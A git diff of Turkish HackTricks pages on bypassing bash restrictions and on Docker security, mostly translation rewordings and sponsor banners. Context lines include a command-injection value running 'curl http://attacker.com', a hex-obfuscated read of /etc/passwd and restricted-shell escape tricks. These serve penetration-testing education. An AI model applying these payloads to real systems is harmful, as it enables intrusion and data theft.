HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@ -17,12 +17,12 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **otomatikleştirmeyi** kolayca oluşturun.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Ortak Kısıtlamaları Atlatma
## Yaygın Kısıtlamaları Atlatma
### Ters Kabuk
```bash
@ -154,7 +154,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Ortam Değişkenlerinden Karakter Alma
### Çevresel Değişkenlerden Karakter Alma
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -165,8 +165,8 @@ echo ${PATH:0:1} #/
### Yerleşik Fonksiyonlar
Dış fonksiyonları yürütemiyorsanız ve yalnızca bir **sınırlı yerleşik fonksiyon kümesine erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm** **yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmayı denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz var**:
Dış fonksiyonları yürütemediğiniz ve yalnızca bir **sınırlı yerleşik fonksiyon kümesine erişiminiz olduğu durumlarda RCE elde etmek için bazı kullanışlı hileler bulunmaktadır. Genellikle **tüm** **yerleşikleri** kullanamayacaksınız, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
İlk olarak tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz** var:
```bash
# Get list of builtins
declare builtins
@ -228,6 +228,8 @@ if [ "a" ]; then echo 1; fi # Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
@ -317,13 +319,13 @@ ln /f*
```
## Salt-Okunur/Noexec/Distroless Atlatma
Eğer **salt-okunur ve noexec korumalarına** sahip bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
Eğer **salt-okunur ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot ve Diğer Hapishaneleri Atlatma
## Chroot ve Diğer Hapisaneler Atlatma
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -339,21 +341,21 @@ Eğer **salt-okunur ve noexec korumalarına** sahip bir dosya sistemi içinde ve
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın.**
</details>

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana AWS hacklemeyi öğrenin!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@ -17,14 +17,14 @@ HackTricks'i desteklemenin diğer yolları:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Temel Docker Motoru Güvenliği**
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** aracılığıyla ek koruma sağlanarak konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir.
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,7 +32,7 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -54,7 +54,7 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir
### Görüntü Tarama
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak güvenlik açıklarını listeler bir proje üzerinde çalışmaktadır. Nautilus adlı bu proje, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler.
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@ -92,13 +92,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama:
- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- **Docker İçerik Güveni**, imaj imzalamayı yönetmek için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir; Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla detay [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister.
- İlk imaj yükleme işleminden sonra imajları itmek için Docker, imajı imzalamak için depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için şu komutu kullanın:
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
@ -109,10 +109,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Konteyner Güvenlik Özellikleri
@ -122,25 +122,25 @@ Bugün Erişim Alın:
**Ana İşlem İzolasyon Özellikleri**
Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması:
Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi ısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması:
**Ad Alanları (Namespaces)**
* **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır.
* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır ve ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayar ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir.
* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir.
**Kontrol Grupları (CGroups)**
* **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır.
* **Güvenlik Yönü**: CGroups, kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
* **Fonksiyon**: Kaynakları işlemler arasında tahsis etmek için kullanılır.
* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
**Yetenek Düşürme (Capability Drop)**
* **Önemi**: İşlem izolasyonu için kritik bir güvenlik özelliğidir.
* **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklerin eksikliği, ayrıcalıklı eylemleri gerçekleştirmesini engeller, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
* **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir.
* **İşlevsellik**: Belirli yetenekleri düşürerek kök işlemin gerçekleştirebileceği işlemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı işlemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
Bu, işlem diğerlerini bıraktıktan sonra **kalan yeteneklerdir**:
Bu, işlem diğerlerini düşürdükten sonra **kalan yeteneklerdir**:
{% code overflow="wrap" %}
```
@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
Docker'da varsayılan olarak etkindir. İşlemi çağırabileceği **sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
**Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir.
**AppArmor**
@ -163,7 +163,7 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman
### Ad Alanları
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi olmasına rağmen, bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir.
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir.
Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
@ -181,8 +181,8 @@ Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad A
### cgroups
Linux çekirdek özelliği **cgroups**, **cpu, bellek, io, ağ bant genişliği gibi kaynakları sınırlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\
Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlayan bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteyner'lar oluşturmanıza izin verir.\
Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payı 512, blkioweight 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner %33'e kadar CPU alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,7 +200,7 @@ Daha fazla bilgi için kontrol edin:
### Yetenekler
Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince bir kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır:
@ -210,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak
### Docker'da Seccomp
Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına olanak tanıyan bir güvenlik özelliğidir:
Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@ -218,7 +218,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sın
### Docker'da AppArmor
AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.:
AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profillere kısıtlamak için bir çekirdek geliştirmesidir.:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@ -230,7 +230,7 @@ AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile
* **Politika Uygulaması**: Bir işlem etiketinin sistem içinde diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi atarlar, genellikle `container_t`.
* **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar.
* **Politika Kuralları**: SELinux politikası, öncelikle `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar.
Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar.
@ -240,12 +240,12 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa
### AuthZ & AuthN
Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engellemenin güvenlik açısından kritik bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
* **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi.
* **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir.
* **Komut Bağlamı**: Yapılan isteğe ilişkin tüm ilgili verileri içerir.
Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gelen meşru isteklerin işlenmesini sağlayarak Docker işlemlerinin güvenliğini artırmaya yardımcı olur.
Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gelen meşru isteklerin işlenmesini sağlayarak Docker işlemlerinin güvenliğini artırır.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -253,7 +253,7 @@ Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gele
## Bir konteynerden DoS
Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamıyorsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir.
Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir.
* CPU DoS
```bash
@ -281,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr
#### no-new-privileges
